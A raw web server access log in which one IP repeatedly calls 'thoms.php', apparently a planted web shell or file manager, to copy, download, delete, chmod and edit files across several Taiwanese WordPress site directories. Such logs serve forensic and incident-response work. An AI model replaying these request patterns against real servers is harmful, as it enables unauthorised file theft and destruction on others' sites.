45.135.193.11 - - [11/Sep/2026:23:17:27 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=bfl.com.tw HTTP/1.1" 200 11494 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21633 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:28 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=bft.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:28 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=bossini.com.tw HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:28 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=besth2o.com.tw HTTP/1.1" 200 11497 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:28 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=betcity.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:28 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=biotaiwan.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:28 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=wp-content-20260912023544 HTTP/1.1" 200 11379 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:28 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11409 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:28 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=wp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21703 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:28 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:28 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=beauty-dental.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:28 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=bestjudy.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21695 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:28 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=bodbooks.com.tw HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:28 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=bogroup.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:28 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:28 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=booking-wise2.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21736 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:29 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=big-wife.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:29 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-activate.php&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 200 11352 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-activate.php&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:29 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-activate.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11351 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-activate.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:29 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-activate.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-activate.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:29 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-activate.php&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 11446 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-activate.php&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:29 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-activate.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11855 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-activate.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:29 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-activate.php&p= HTTP/1.1" 200 12268 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-activate.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:29 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-activate.php&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 200 11395 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-activate.php&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:29 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-activate.php&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 11357 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-activate.php&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:29 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-activate.php&finish=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-activate.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:29 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-activate.php&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-activate.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:29 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 20101 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-activate.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:29 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-activate.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-activate.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:29 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Froster-vendor%2Fprofile.php&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 11358 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Froster-vendor%2Fprofile.php&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:29 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 20101 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-activate.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21702 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-activate.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:30 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Froster-vendor&view=license.txt HTTP/1.1" 200 11922 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Froster-vendor&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:30 -0400] "GET /thoms.php?chmod=license.txt&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:30 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Froster-vendor&view=profile.php HTTP/1.1" 200 11844 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Froster-vendor&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:30 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Froster-vendor%2Fadmin.php&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Froster-vendor%2Fadmin.php&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:30 -0400] "GET /thoms.php?dl=admin.php&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 13282 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:30 -0400] "GET /bestzyx.com.tw/roster-vendor HTTP/1.1" 301 795 "http://163.245.207.76:443/bestzyx.com.tw/roster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:30 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Froster-vendor%2Flicense.txt&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 11370 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Froster-vendor%2Flicense.txt&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:30 -0400] "GET /bestzyx.com.tw/roster-vendor/ HTTP/1.1" 200 6349 "https://163.245.207.76:443/bestzyx.com.tw/roster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:30 -0400] "GET /bestzyx.com.tw/roster-vendor/profile.php HTTP/1.1" 503 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:30 -0400] "GET /thoms.php?dl=license.txt&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 13624 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:30 -0400] "GET /thoms.php?dl=index.php&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 13607 "http://163.245.207.76:443/thoms.php?dl=index.php&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:30 -0400] "GET /bestzyx.com.tw/roster-vendor/index.php HTTP/1.1" 200 6491 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:30 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Froster-vendor&settings=1 HTTP/1.1" 200 11919 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Froster-vendor&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:30 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Froster-vendor%2Findex.php&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 11357 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Froster-vendor%2Findex.php&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:30 -0400] "GET /thoms.php?del=admin.php&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 13610 "http://163.245.207.76:443/thoms.php?del=admin.php&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:30 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Froster-vendor&view=admin.php HTTP/1.1" 200 16596 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Froster-vendor&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:31 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Froster-vendor&view=index.php HTTP/1.1" 200 11851 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Froster-vendor&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:31 -0400] "GET /thoms.php?del=index.php&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 13607 "http://163.245.207.76:443/thoms.php?del=index.php&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:31 -0400] "GET /thoms.php?dl=profile.php&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 13607 "http://163.245.207.76:443/thoms.php?dl=profile.php&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:31 -0400] "GET /thoms.php?del=license.txt&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 13627 "http://163.245.207.76:443/thoms.php?del=license.txt&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:31 -0400] "GET /thoms.php?chmod=profile.php&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=profile.php&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:31 -0400] "GET /thoms.php?del=profile.php&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 13625 "http://163.245.207.76:443/thoms.php?del=profile.php&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:31 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Froster-vendor&upload= HTTP/1.1" 200 12183 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Froster-vendor&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:31 -0400] "GET /thoms.php?chmod=admin.php&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:31 -0400] "GET /bestzyx.com.tw/roster-vendor/admin.php HTTP/1.1" 200 986 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:31 -0400] "GET /bestzyx.com.tw/roster-vendor/license.txt HTTP/1.1" 200 69 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:31 -0400] "GET /bestzyx.com.tw/thoms.php?del=ba-guo.com.tw&p= HTTP/1.1" 200 21714 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:31 -0400] "GET /thoms.php?chmod=index.php&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:31 -0400] "GET /thoms.php?edit=mah.php&p=bestzyx.com.tw HTTP/1.1" 200 24356 "http://163.245.207.76:443/thoms.php?edit=mah.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:31 -0400] "GET /thoms.php?edit=mah.php&env=ace&p=bestzyx.com.tw HTTP/1.1" 200 28076 "http://163.245.207.76:443/thoms.php?edit=mah.php&env=ace&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:31 -0400] "GET /bestzyx.com.tw/thoms.php?p=bft.com.tw HTTP/1.1" 200 19381 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:31 -0400] "GET /bestzyx.com.tw/thoms.php?p=&upload= HTTP/1.1" 200 12128 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:31 -0400] "GET /bestzyx.com.tw/thoms.php?del=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 200 21727 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:31 -0400] "GET /bestzyx.com.tw/thoms.php?chmod=ba-guo.com-20260912023525&p= HTTP/1.1" 200 11459 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:31 -0400] "GET /bestzyx.com.tw/thoms.php?copy=ba-guo.com.tw&p= HTTP/1.1" 200 12259 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:31 -0400] "GET /bestzyx.com.tw/thoms.php?p=ba-guo.com-20260912023525 HTTP/1.1" 200 17299 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
